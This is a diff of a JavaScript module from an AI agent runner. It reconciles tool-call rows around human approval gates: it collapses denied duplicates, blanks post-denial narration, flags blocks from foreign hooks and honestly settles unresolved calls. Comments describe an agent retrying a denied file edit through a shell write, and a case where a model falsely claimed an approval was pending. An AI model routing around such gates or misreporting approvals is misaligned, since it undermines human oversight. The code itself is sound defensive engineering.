+ * 3. In each group the keepers carry authoritative state — a change/output of
451
+ * their own (see {@link carriesOwnChange}) or the approval gate itself
452
+ * (`WAITING_APPROVAL`). For a file mutation the gate is the sole authoritative
453
+ * row: the row carries no diff (review lives in the `FileChangeSet` ledger, or
454
+ * is the no-storage deny-gate itself), so a denied write's same-identity
455
+ * siblings — a denied/zombie row or a stale snapshot from a second attempt —
456
+ * collapse onto the gate. A shell/MCP twin keeps every distinct run with
457
+ * output. If NO member qualifies (every attempt produced no change), keep
458
+ * exactly ONE representative — preferring a terminal attempt over a stuck
459
+ * `RUNNING` zombie — so the resource still shows a single card. Every
460
+ * non-keeper is blanked in place to a hidden `SKIPPED` row (see
461
+ * {@link collapseDenialTwin}).
462
+ *
463
+ * It is deliberately subtractive — it only ever HIDES a row, never invents a
464
+ * terminal state. The committed `id` is preserved on every collapse, so the
465
+ * finalize stays append-only by construction and the backend's
466
+ * append-only-at-identity guard accepts it. Returns the number collapsed, for
467
+ * observability.
468
+ */
469
+ export function collapseRedundantToolCallTwins(messages) {
470
+ const groups = new Map();
471
+ for (const msg of messages) {
472
+ for (const tc of msg.toolCalls) {
473
+ const id = toolIdentity(tc.name, tc.mcpServerSlug, toolCallArgs(tc));
474
+ const gated = tc.mcpServerSlug
475
+ ? true
476
+ : id.key === "write" || id.key === "delete" || id.key === "shell";
477
+ if (!gated)
478
+ continue;
479
+ const token = grantToken(id.key, id.salient);
480
+ const bucket = groups.get(token);
481
+ if (bucket)
482
+ bucket.push(tc);
483
+ else
484
+ groups.set(token, [tc]);
485
+ }
486
+ }
487
+ let collapsed = 0;
488
+ for (const group of groups.values()) {
489
+ if (group.length < 2)
490
+ continue; // a lone call is never a twin
491
+ // Keepers carry authoritative state: a change/output of their own
492
+ // (carriesOwnChange), the approval gate itself, or a gate an earlier
493
+ // invocation already settled (isAdjudicatedRow — the transcript's record of
494
+ // what the user decided and what ran; a same-identity act in a later turn
495
+ // is a new act, never this row's twin). For a file mutation the gate is the
496
+ // sole authoritative row (the row carries no diff — review lives in the
497
+ // ledger, or the row IS the no-storage deny-gate), so a denied write's
498
+ // same-identity siblings collapse onto it; a shell/MCP twin keeps every
499
+ // distinct run with output.
500
+ const keepers = new Set(group.filter((tc) => carriesOwnChange(tc) ||
501
+ isAdjudicatedRow(tc) ||
502
+ tc.status === ToolCallStatus.TOOL_CALL_WAITING_APPROVAL));
503
+ // All attempts produced no change (e.g. denied-reported-as-success): keep one
504
+ // representative, preferring a settled outcome over a stuck RUNNING zombie.
505
+ if (keepers.size === 0) {
506
+ const terminal = [...group].reverse().find((tc) => isTerminalToolStatus(tc.status));
507
+ keepers.add(terminal ?? group[0]);
508
+ }
509
+ for (const tc of group) {
510
+ if (keepers.has(tc))
511
+ continue;
512
+ if (isAlreadyCollapsed(tc))
513
+ continue;
514
+ collapseDenialTwin(tc);
515
+ collapsed++;
516
+ }
517
+ }
518
+ return collapsed;
519
+ }
520
+ /**
521
+ * One gate per turn: blank every DENIED tool call whose identity differs from
522
+ * the anchor (the first denial of the turn) to a hidden SKIPPED row.
523
+ *
524
+ * This is the cross-identity complement of {@link collapseRedundantToolCallTwins}
525
+ * (which only joins SAME-identity duplicates). The canonical target is the
526
+ * deny-only workaround — a denied `edit notes.md` followed by a `shell:
527
+ * cat > notes.md` whose identity (`shell\n…`) differs from the edit's
528
+ * (`write\nnotes.md`), so no twin collapse can join them and (since they share
529
+ * one assistant message) no positional rule can separate them. The honest signal
530
+ * that the shell is redundant is that it is a DIFFERENT denied identity in the
531
+ * same turn as the anchor; under the one-gate-per-turn contract every such
532
+ * identity is either a post-denial reaction or a co-pending sibling the harness
533
+ * defers to the next turn, so it is hidden, not surfaced.
534
+ *
535
+ * Scoped strictly to identities present in `deniedTokens`: a non-denied tool
536
+ * (an earlier read/glob, or an already-granted call that ran) is never touched.
537
+ * Subtractive and id-preserving (via {@link collapseDenialTwin}), so the finalize
538
+ * stays append-only. Returns the number collapsed, for observability.
539
+ */
540
+ function collapseNonAnchorDenials(messages, deniedTokens, anchorToken) {
541
+ let collapsed = 0;
542
+ for (const msg of messages) {
543
+ for (const tc of msg.toolCalls) {
544
+ if (isAdjudicatedRow(tc))
545
+ continue;
546
+ const token = toolCallIdentityToken(tc);
547
+ if (token === anchorToken)
548
+ continue;
549
+ if (!deniedTokens.has(token))
550
+ continue;
551
+ if (isAlreadyCollapsed(tc))
552
+ continue;
553
+ collapseDenialTwin(tc);
554
+ collapsed++;
555
+ }
556
+ }
557
+ return collapsed;
558
+ }
559
+ /**
560
+ * Blank a superseded denial twin in place to a hidden SKIPPED row. Keeps the
561
+ * committed `id` (append-only), `name`, and `toolKind`; clears every renderable
562
+ * surface and the approval flags so the SDK's `isCollapsedToolCall` predicate
563
+ * recognizes it and renders nothing. The structured `args` are left as the honest
564
+ * stored record of the redundant attempt (never rendered, since the row is
565
+ * hidden; the gate carries the authoritative proposed change).
566
+ */
567
+ function collapseDenialTwin(tc) {
568
+ hideToolCallRow(tc);
569
+ }
570
+ // `hideToolCallRow` (the "hidden row" shape, shared by the denial-twin collapse
571
+ // and the capture flow) lives in shared/tool-row.ts so both harnesses collapse
572
+ // rows identically; imported at the top of this module.
573
+ /**
574
+ * The hook-captured authoritative tool input as a proposal's args, so the
575
+ * approval card can show the proposed change before the user approves.
576
+ *
577
+ * When present it becomes the single source for the preview: the full
578
+ * structured `args` (the approval card renders the proposed write/edit content
579
+ * from these), the compact-but-always-valid `args_preview` the builder derives
580
+ * from them (the field a resumed turn parses to rebuild the grant salient — so
581
+ * salient fields are never elided), and the content digest the caller stamps
582
+ * beside them. The digest is the resume identity: it binds the grant to
583
+ * (category, path, content) so a sibling edit to the same file re-gates rather
584
+ * than riding an earlier approval through. It is also the identity the Cursor
585
+ * deny-gate's exact-apply reads on resume — together with the whole-file bytes
586
+ * in `args` — to write exactly what was approved (see exact-apply.ts). There is
587
+ * no separate captured `file_changes` mirror; `args` is the single source for
588
+ * both the preview and the applied bytes.
589
+ *
590
+ * Defense-in-depth (DD-26 #2): a secret-like write's content never reaches the
591
+ * persisted approval preview. Normally unreachable — the hook hard-blocks a
592
+ * secret write and records no ledger input — but if a hook classify failure
593
+ * fell one through, its content must still never reach args/args_preview; the
594
+ * Invariant-A backstop is the final net, this closes the path at the source.
595
+ * With no input (the hook's grep fallback) there is nothing authoritative and
596
+ * the row keeps its existing args.
597
+ */
598
+ function proposalArgs(input) {
599
+ if (!input)
600
+ return undefined;
601
+ const gatePath = extractFilePath(input);
602
+ if (gatePath !== null && isSecretLikePath(gatePath))
603
+ return undefined;
604
+ return input;
605
+ }
606
+ /**
607
+ * The workspace-normalized identity of a FILE approval category's salient, or
608
+ * undefined for a non-file category (shell, whose salient is a command, not a
609
+ * path) or an empty salient. Both the hook-decoded denial salient and a streamed
610
+ * call's salient pass through this, so an absolute-vs-relative path difference
611
+ * collapses to one comparable key (`category + "\n" + relPath`). Restricting to
612
+ * write/delete keeps a shell command from being mangled by path normalization.
613
+ */
614
+ function normalizedFileSalient(category, salient, workspaceRoot) {
615
+ if ((category !== "write" && category !== "delete") || !salient)
616
+ return undefined;
617
+ const { path } = resolveWorkspacePath(salient, workspaceRoot, /* virtualRoot */ false);
618
+ return `${category}\n${path}`;
619
+ }
620
+ /**
621
+ * Find the first not-yet-overlaid streamed tool call whose workspace-normalized
622
+ * (category, path) equals `wanted`. Skips calls already claimed by an earlier
623
+ * denial so several concurrent file denials each overlay a distinct stream call.
624
+ */
625
+ function findUnmatchedStreamCallByNormalizedSalient(messages, matchedCalls, wanted, workspaceRoot) {
626
+ for (const msg of messages) {
627
+ for (const tc of msg.toolCalls) {
628
+ if (matchedCalls.has(tc) || isAdjudicatedRow(tc))
629
+ continue;
630
+ const id = toolIdentity(tc.name, tc.mcpServerSlug, toolCallArgs(tc));
631
+ if (normalizedFileSalient(id.key, id.salient, workspaceRoot) === wanted) {
632
+ return tc;
633
+ }
634
+ }
635
+ }
636
+ return undefined;
637
+ }
638
+ /**
639
+ * Redact provisional post-denial narration when a Cursor turn pauses for approval.
640
+ *
641
+ * THE PROBLEM. Unlike the native harness — which gates with a LangGraph
642
+ * `interrupt()` *before* the tool runs, so the model never sees a denial — the
643
+ * Cursor harness can only gate via the file-based `beforeMCPExecution`/
644
+ * `preToolUse` hook returning `deny`. Cursor surfaces that deny to the model as
645
+ * a tool *failure* (often its own generic "blocked by a hook" text; see the
646
+ * Phase 0 ground-truth capture in cursor_hitl_test.go), and there is no
647
+ * non-leaky SDK approval primitive to use instead (the `request` event is
648
+ * opaque and carries no responder). So a well-behaved model frequently reacts by
649
+ * narrating defeat — "I couldn't do this; enable the hook in your Cursor
650
+ * settings" — which would otherwise be persisted as the assistant's verdict and
651
+ * rendered right next to the approval card that is, in fact, asking the user to
652
+ * approve. Contradictory and alarming.
653
+ *
654
+ * THE GUARANTEE. The runner's job is to simplify this data, not mirror its
655
+ * complexity: a turn that pauses for approval must read the SAME shape the
656
+ * native harness produces — `[pre-tool text][tool calls WAITING_APPROVAL]`, with
657
+ * no post-denial verdict. We therefore BLANK (clear the `content` of, and mark
658
+ * non-streaming) the trailing assistant/thinking messages that (a) appear
659
+ * positionally AFTER the last message bearing a WAITING_APPROVAL tool call and
660
+ * (b) carry no tool calls of their own. The approval card (projected from the
661
+ * WAITING_APPROVAL tool-call status) becomes the single, unambiguous source of
662
+ * truth. The blanked messages are already invisible on every surface via the
663
+ * existing empty-message handling (`buildThreadItems` skips empty `MESSAGE_AI`;
664
+ * `MessageEntry` renders nothing for empty `MESSAGE_THINKING`), so the shared
665
+ * `@stigmer/react`/Ink components stay harness-agnostic with zero per-harness UI
666
+ * special-casing — the cleanliness lives in the data, not in each consumer.
667
+ *
668
+ * WHY BLANK INSTEAD OF REMOVE. Removing the messages would make the persisted
669
+ * WAITING_FOR_APPROVAL transcript SHORTER than the in-progress transcript the
670
+ * runner already streamed. The backend's append-only message guard rejects a
671
+ * shrink for a non-terminal execution (it protects against regressed/partial
672
+ * writes). Blanking keeps the message COUNT identical, so the finalize is
673
+ * append-only BY CONSTRUCTION and the guard accepts it with no special case —
674
+ * which is why this phase deletes the backend's former `isApprovalFinalize`
675
+ * shrink exception in both editions. The transcript is the authoritative *raw*
676
+ * record; the verbatim narration text remains recoverable from the runner logs
677
+ * and the recorded cursor-event stream.
678
+ *
679
+ * WHY THIS IS DETERMINISTIC. `attachToolCallToLastAi` calls
680
+ * `finalizeStreaming(run_id)` before attaching a tool call, so any assistant
681
+ * text the model emits *after* the denied tool call always starts a NEW message
682
+ * — post-denial narration is never merged into the message that holds the gated
683
+ * call. We stop at the first non-narration message — one bearing a VISIBLE tool
684
+ * call — so legitimately-executed tools after the gate and any text around them
685
+ * are never touched; only the contiguous trailing reaction block is blanked. A
686
+ * message whose every tool call was collapsed to the hidden SKIPPED row (a
687
+ * post-denial workaround or an interrupted attempt — see
688
+ * collapseNonAnchorDenials / finalizeInterruptedToolCalls, which run first) IS
689
+ * trailing narration: its rows render as absent, so only its text remains, and
690
+ * that text is precisely the reaction this redaction exists to blank. Treating
691
+ * it as a stop would strand every reaction message behind it (the production
692
+ * shape in aex_01kwj07f7g23c3wp9sn8496z5g: [gate][thinking][narration+workaround
693
+ * row] — the old walk stopped at the workaround message and redacted nothing).
694
+ * The first-denial stop in index.ts is the primary mechanism that keeps this
695
+ * block small (it ends the turn before the model produces inter-tool
696
+ * narration); this redaction is the backstop for any token that streamed before
697
+ * the cancel landed.
698
+ *
699
+ * Returns the blanked messages (for diagnostics); mutates `messages` in place.
700
+ */
701
+ export function clearProvisionalPostDenialNarration(messages, deniedToolCalls) {
702
+ if (deniedToolCalls.length === 0)
703
+ return [];
704
+ // reconcileDeniedToolCalls returns the very ToolCall protos held inside
705
+ // messages[].toolCalls (overlaid) or appended to the last AI message
706
+ // (synthesized), so object identity is a stable, exact match.
707
+ const denied = new Set(deniedToolCalls);
708
+ let lastGatedIdx = -1;
709
+ for (let i = 0; i < messages.length; i++) {
710
+ if (messages[i].toolCalls.some((tc) => denied.has(tc))) {
711
+ lastGatedIdx = i;
712
+ }
713
+ }
714
+ if (lastGatedIdx < 0)
715
+ return [];
716
+ const redacted = [];
717
+ for (let i = messages.length - 1; i > lastGatedIdx; i--) {
718
+ const msg = messages[i];
719
+ const isProvisionalNarration = (msg.type === MessageType.MESSAGE_AI || msg.type === MessageType.MESSAGE_THINKING) &&
720
+ msg.toolCalls.every((tc) => isToolCallRowHidden(tc));
721
+ // Stop at the first message that is NOT trailing narration: a message
722
+ // bearing a visible (non-collapsed) tool call marks real activity we must
723
+ // preserve, and anything before it is no longer "trailing".
724
+ if (!isProvisionalNarration)
725
+ break;
726
+ // Blank in place — keep the message so the transcript count never shrinks,
727
+ // but drop its provisional content so no consumer renders the defeatist
728
+ // verdict. Empty AI/THINKING messages are hidden by the SDK already; hidden
729
+ // SKIPPED rows already render as absent.
730
+ msg.content = "";
731
+ msg.isStreaming = false;
732
+ redacted.unshift(msg);
733
+ }
734
+ return redacted;
735
+ }
736
+ /**
737
+ * Substrings of the error text Cursor stamps onto a tool call blocked by a
738
+ * `preToolUse`/`beforeMCPExecution` hook (its generic replacement for the
739
+ * hook's own agent_message — confirmed by the Phase 0 ground-truth capture in
740
+ * cursor_hitl_test.go). The SDK has NO structured "denied by hook" signal, so
741
+ * this marker family is the only stream-side trace of a hook block and is
742
+ * single-sourced here for every consumer (the issue #205 attribution detector
743
+ * below; tests). Matched case-insensitively against the FAILED call's error.
744
+ */
745
+ export const HOOK_BLOCK_ERROR_MARKERS = ["blocked by a hook"];
746
+ /** True when a tool call's error text reads as a hook block. */
747
+ function isHookBlockError(errorText) {
748
+ if (!errorText)
749
+ return false;
750
+ const lowered = errorText.toLowerCase();
751
+ return HOOK_BLOCK_ERROR_MARKERS.some((marker) => lowered.includes(marker));
752
+ }
753
+ /**
754
+ * Detect tool calls blocked by a hook that STIGMER'S OWN hook did not deny —
755
+ * the issue #205 invariant check "a blocked tool must never silently complete".
756
+ *
757
+ * Cursor runs EVERY hook registered in the workspace's `.cursor/hooks.json`
758
+ * and a deny from any of them blocks the tool. Our hook records every deny it
759
+ * issues to the denial ledger (all kinds — see {@link DeniedLedgerEntry}), so a
760
+ * FAILED tool call carrying Cursor's hook-block error text with NO matching
761
+ * ledger entry was blocked by a FOREIGN hook (a user/team `preToolUse` policy
762
+ * hook the merge deliberately preserves) — or, equally fatally, by our own
763
+ * hook whose best-effort ledger append failed. Either way the runner cannot
764
+ * pause for approval (an approval grants a token only OUR hook reads; the
765
+ * foreign hook would deny the re-attempt forever), so the caller surfaces an
766
+ * explicit failure instead of completing with the work silently undone.
767
+ *
768
+ * Attribution, in order:
769
+ * 1. Any `fail-closed` ledger entry → the gate itself was broken this turn and
770
+ * denied EVERYTHING it saw; per-call correlation is meaningless, so every
771
+ * hook block is attributed to our own (broken) gate. Nothing is reported.
772
+ * 2. Exact identity: the call's {@link toolCallIdentityToken} appears in the
773
+ * ledger (any kind — approval gates were overlaid to WAITING_APPROVAL or
774
+ * collapsed by the reconcile that runs first, so a still-FAILED row here is
775
+ * typically a secret/capture-error deny, correctly attributed as ours).
776
+ * 3. Normalized-path fallback: the same abs-vs-rel drift the reconcile's
777
+ * second pass handles — a FILE call matches a ledger entry by (category,
778
+ * workspace-normalized path) even when the raw tokens differ.
779
+ *
780
+ * Scoped to THIS turn's messages (from `turnStartMessageIndex`): seeded
781
+ * prior-turn rows were already adjudicated and must never re-trigger.
782
+ * Deliberately conservative: an ordinary tool failure (no hook-block text)
783
+ * is never reported, and a foreign hook denying with fully custom text evades
784
+ * the marker match (the documented residual — the install-time
785
+ * foreignGatingHooks warning still fires for diagnosability).
786
+ */
787
+ export function detectUnattributedHookBlocks(messages, turnStartMessageIndex, ledger, workspaceRoot) {
788
+ if (ledger.some((e) => denialKindOf(e) === "fail-closed"))
789
+ return [];
790
+ const ledgerTokens = new Set(ledger.map((e) => e.token));
791
+ const ledgerNormalizedSalients = new Set();
792
+ if (workspaceRoot) {
793
+ for (const entry of ledger) {
794
+ const decoded = decodeIdentityToken(entry.token);
795
+ if (!decoded)
796
+ continue;
797
+ const normalized = normalizedFileSalient(decoded.key, decoded.salient, workspaceRoot);
798
+ if (normalized)
799
+ ledgerNormalizedSalients.add(normalized);
800
+ }
801
+ }
802
+ const blocks = [];
803
+ for (const msg of messages.slice(Math.max(0, turnStartMessageIndex))) {
804
+ for (const tc of msg.toolCalls) {
805
+ if (tc.status !== ToolCallStatus.TOOL_CALL_FAILED)
806
+ continue;
807
+ if (!isHookBlockError(tc.error))
808
+ continue;
809
+ if (ledgerTokens.has(toolCallIdentityToken(tc)))
810
+ continue;
811
+ if (workspaceRoot) {
812
+ const id = toolIdentity(tc.name, tc.mcpServerSlug, toolCallArgs(tc));
813
+ const normalized = normalizedFileSalient(id.key, id.salient, workspaceRoot);
814
+ if (normalized && ledgerNormalizedSalients.has(normalized))
815
+ continue;
816
+ }
817
+ blocks.push({ toolCallId: tc.id, toolName: tc.name, error: tc.error });
818
+ }
819
+ }
820
+ return blocks;
821
+ }
822
+ /**
823
+ * The honest terminal error stamped on a tool call that never resolved (issue
824
+ * #965). Deliberately states all three negatives — not executed, not approved,
825
+ * not denied — because the incident's harm was the model claiming an approval
826
+ * was pending: this text is what the transcript shows INSTEAD of a spinner or
827
+ * a silent after-the-fact interruption, and it must leave no room for an
828
+ * approval-is-coming reading.
829
+ */
830
+ export const UNRESOLVED_TOOL_CALL_ERROR = "The tool did not return a result before the turn ended. It was never " +
831
+ "executed, approved, or denied — no approval is pending for it.";
832
+ /**
833
+ * Settle this-turn tool calls that are still NON-TERMINAL when a turn
834
+ * completes without pausing — the issue #965 invariant, the sibling of
835
+ * {@link detectUnattributedHookBlocks}' #205 invariant ("a blocked tool must
836
+ * never silently complete" → "an unresolved tool must never silently
837
+ * complete").
838
+ *
839
+ * THE SHAPE THIS CATCHES. A tool that hangs INSIDE the Cursor agent runtime —
840
+ * the production case is `generateImage`, which rides the SDK's
841
+ * interaction-query channel rather than the ordinary tool path — streams a
842
+ * tool_call start, never streams a result, and is invisible to every Stigmer
843
+ * seam: the hook never denied it (no ledger entry), so the reconcile never
844
+ * gated it, and the turn completes with the row still PENDING/RUNNING. Before
845
+ * this sweep, the server's terminal settle (issue #207) stamped such rows
846
+ * TOOL_CALL_INTERRUPTED silently AFTER the runner reported completion — the
847
+ * transcript's last word stayed whatever the model claimed, which in
848
+ * aex_01m1a6ww3nmp4952ar5v0g4g85 was a promise that an approval was pending
849
+ * when none existed.
850
+ *
851
+ * Settling here instead makes the runner the author of the honest record: the
852
+ * row gets TOOL_CALL_INTERRUPTED with {@link UNRESOLVED_TOOL_CALL_ERROR}, and
853
+ * the caller (turn-boundary.ts) appends a system disclosure naming what never
854
+ * ran.
855
+ *
856
+ * WHY INTERRUPTED AND NEVER FAILED. TOOL_CALL_INTERRUPTED is deliberately the
857
+ * one settled status the monotonic merge guard lets live execution evidence
858
+ * supersede (see the guard's note in this file, ~line 331): if this FAILED
859
+ * execution is later RECOVERED, the harness checkpoint may re-execute the call
860
+ * under its original id, and the replayed events must be able to advance the
861
+ * row to its true outcome. A boundary-stamped FAILED would freeze it forever.
862
+ *
863
+ * WHY IT NEVER FAILS THE RUN (unlike #205). A foreign hook block is provably
864
+ * adversarial — approval semantics are permanently broken, so completing would
865
+ * always be a lie. An unresolved row can also be benign stream event-loss
866
+ * where the tool actually ran; failing the run would convert those into
867
+ * regressions. Disclosure restores honesty at zero regression risk.
868
+ *
869
+ * Scope and exclusions, in order:
870
+ * - THIS turn's parent-transcript rows only (from `turnStartMessageIndex`):
871
+ * seeded prior-turn rows were adjudicated by their own execution's settle,
872
+ * and sub-agent inner rows are the server settle's concern — the parent row
873
+ * (e.g. the Task call) is what the user sees. Mirrors #205's scoping.
874
+ * - Only PENDING/RUNNING rows: every terminal row was adjudicated, and
875
+ * WAITING_APPROVAL rows belong to the pause machinery (the caller only runs
876
+ * this sweep on a NON-pausing turn, so none should exist here anyway).
877
+ * - Only rows with NO denial-ledger entry of ANY kind (exact token, then the
878
+ * normalized-path fallback — the same two identities every sweep in this
879
+ * file uses): a ledger-attributed row is the unattended/secret/fail-closed
880
+ * machinery's to settle, not ours.
881
+ *
882
+ * Returns the settled calls so the boundary can disclose and log them.
883
+ */
884
+ export function settleUnresolvedToolCalls(messages, turnStartMessageIndex, ledger, workspaceRoot) {
885
+ const ledgerTokens = new Set(ledger.map((e) => e.token));
886
+ const ledgerNormalizedSalients = new Set();
887
+ if (workspaceRoot) {
888
+ for (const entry of ledger) {
889
+ const decoded = decodeIdentityToken(entry.token);
890
+ if (!decoded)
891
+ continue;
892
+ const normalized = normalizedFileSalient(decoded.key, decoded.salient, workspaceRoot);
893
+ if (normalized)
894
+ ledgerNormalizedSalients.add(normalized);
895
+ }
896
+ }
897
+ const matchesLedger = (tc) => {
898
+ if (ledgerTokens.has(toolCallIdentityToken(tc)))
899
+ return true;
900
+ if (!workspaceRoot)
901
+ return false;
902
+ const id = toolIdentity(tc.name, tc.mcpServerSlug, toolCallArgs(tc));
903
+ const normalized = normalizedFileSalient(id.key, id.salient, workspaceRoot);
904
+ return !!normalized && ledgerNormalizedSalients.has(normalized);
905
+ };
906
+ const settled = [];
907
+ for (const msg of messages.slice(Math.max(0, turnStartMessageIndex))) {
908
+ for (const tc of msg.toolCalls) {
909
+ if (tc.status !== ToolCallStatus.TOOL_CALL_PENDING &&
910
+ tc.status !== ToolCallStatus.TOOL_CALL_RUNNING) {
911
+ continue;
912
+ }
913
+ if (matchesLedger(tc))
914
+ continue;
915
+ tc.status = ToolCallStatus.TOOL_CALL_INTERRUPTED;
916
+ tc.error = UNRESOLVED_TOOL_CALL_ERROR;
917
+ tc.isStreaming = false;
918
+ if (!tc.completedAt)
919
+ tc.completedAt = utcTimestamp();
920
+ settled.push({ toolCallId: tc.id, toolName: tc.name });
921
+ }
922
+ }
923
+ return settled;
924
+ }
925
+ /**
926
+ * Stamp the tool calls the hook denied under UNATTENDED approval mode
927
+ * (DD-014) as terminal TOOL_CALL_SKIPPED rows with UNATTENDED_SKIP
928
+ * provenance — the Cursor twin of the native harness's
929
+ * `reconcileUnattendedSkips`, so both harnesses persist the same honest
930
+ * shape for a platform-resolved skip.
931
+ *
932
+ * An unattended denial never pauses the run (its ledger kind is excluded
933
+ * from {@link approvalDenials}), so the stream leaves the denied call as a
934
+ * FAILED row carrying Cursor's generic hook-block error — dishonest ("the
935
+ * tool broke") and alarming in a transcript an org admin reviews. This pass
936
+ * correlates the unattended ledger entries to their streamed calls with the
937
+ * SAME two identities the rest of the file uses — exact token, then
938
+ * (category, workspace-normalized path) for the abs-vs-rel drift — and
939
+ * settles each match to SKIPPED with a result explaining the skip.
940
+ *
941
+ * Scope: hook-blocked FAILED rows and still-non-terminal (PENDING/RUNNING)
942
+ * rows only — a COMPLETED row is a real execution and is never rewritten
943
+ * (an unattended deny cannot produce one). `approval_action`/`approved_by`
944
+ * stay untouched: server-owned, human-decision-only fields (DD-014 D-e).
945
+ * Unmatched ledger entries need no synthesis — there is no pause to
946
+ * surface; the model already saw the deny and adapted in-turn.
947
+ *
948
+ * Returns how many tool calls were stamped.
949
+ */
950
+ export function stampUnattendedSkippedToolCalls(messages, subAgentExecutions, unattendedLedger, workspaceRoot) {
951
+ if (unattendedLedger.length === 0)
952
+ return 0;
953
+ const ledgerTokens = new Set(unattendedLedger.map((e) => e.token));
954
+ const ledgerNormalizedSalients = new Set();
955
+ if (workspaceRoot) {
956
+ for (const entry of unattendedLedger) {
957
+ const decoded = decodeIdentityToken(entry.token);
958
+ if (!decoded)
959
+ continue;
960
+ const normalized = normalizedFileSalient(decoded.key, decoded.salient, workspaceRoot);
961
+ if (normalized)
962
+ ledgerNormalizedSalients.add(normalized);
963
+ }
964
+ }
965
+ const matchesLedger = (tc) => {
966
+ if (ledgerTokens.has(toolCallIdentityToken(tc)))
967
+ return true;
968
+ if (!workspaceRoot)
969
+ return false;
970
+ const id = toolIdentity(tc.name, tc.mcpServerSlug, toolCallArgs(tc));
971
+ const normalized = normalizedFileSalient(id.key, id.salient, workspaceRoot);
972
+ return !!normalized && ledgerNormalizedSalients.has(normalized);
973
+ };
974
+ let stamped = 0;
975
+ const apply = (msgs) => {
976
+ for (const msg of msgs) {
977
+ for (const tc of msg.toolCalls) {
978
+ const deniedShape = (tc.status === ToolCallStatus.TOOL_CALL_FAILED && isHookBlockError(tc.error)) ||
979
+ tc.status === ToolCallStatus.TOOL_CALL_PENDING ||
980
+ tc.status === ToolCallStatus.TOOL_CALL_RUNNING;
981
+ if (!deniedShape || !matchesLedger(tc))
982
+ continue;
983
+ tc.status = ToolCallStatus.TOOL_CALL_SKIPPED;
984
+ tc.approvalPolicySource = ApprovalPolicySource.UNATTENDED_SKIP;
985
+ tc.policyEngineVersion = POLICY_ENGINE_VERSION;
986
+ tc.error = "";
987
+ tc.result = unattendedSkipMessage(tc.name);
988
+ tc.isStreaming = false;
989
+ if (!tc.completedAt)
990
+ tc.completedAt = utcTimestamp();
991
+ stamped++;
992
+ }
993
+ }
994
+ };
995
+ apply(messages);
996
+ for (const subAgent of subAgentExecutions) {
997
+ apply(subAgent.messages);
998
+ }
999
+ return stamped;
1000
+ }
1001
+ /**
1002
+ * Resolve a human-readable approval message for a denied tool, preferring the
1003
+ * MCP policy template, then the built-in template, then a generic fallback.
1004
+ */
1005
+ function resolveDeniedApprovalMessage(name, mcpServerSlug, args, mergedPolicies) {
1006
+ if (mergedPolicies && mcpServerSlug) {
1007
+ const policy = lookupMcpToolPolicy(name, mcpServerSlug, mergedPolicies);
1008
+ if (policy)
1009
+ return resolveApprovalMessage(policy.approvalMessage, name, args);
1010
+ }
1011
+ if (!mcpServerSlug) {
1012
+ const template = getBuiltInApprovalMessage(name);
1013
+ if (template)
1014
+ return resolveApprovalMessage(template, name, args);
1015
+ }
1016
+ return `Tool requires approval: ${name}`;
1017
+ }
1018
+ //# sourceMappingURL=boundary-rows.js.map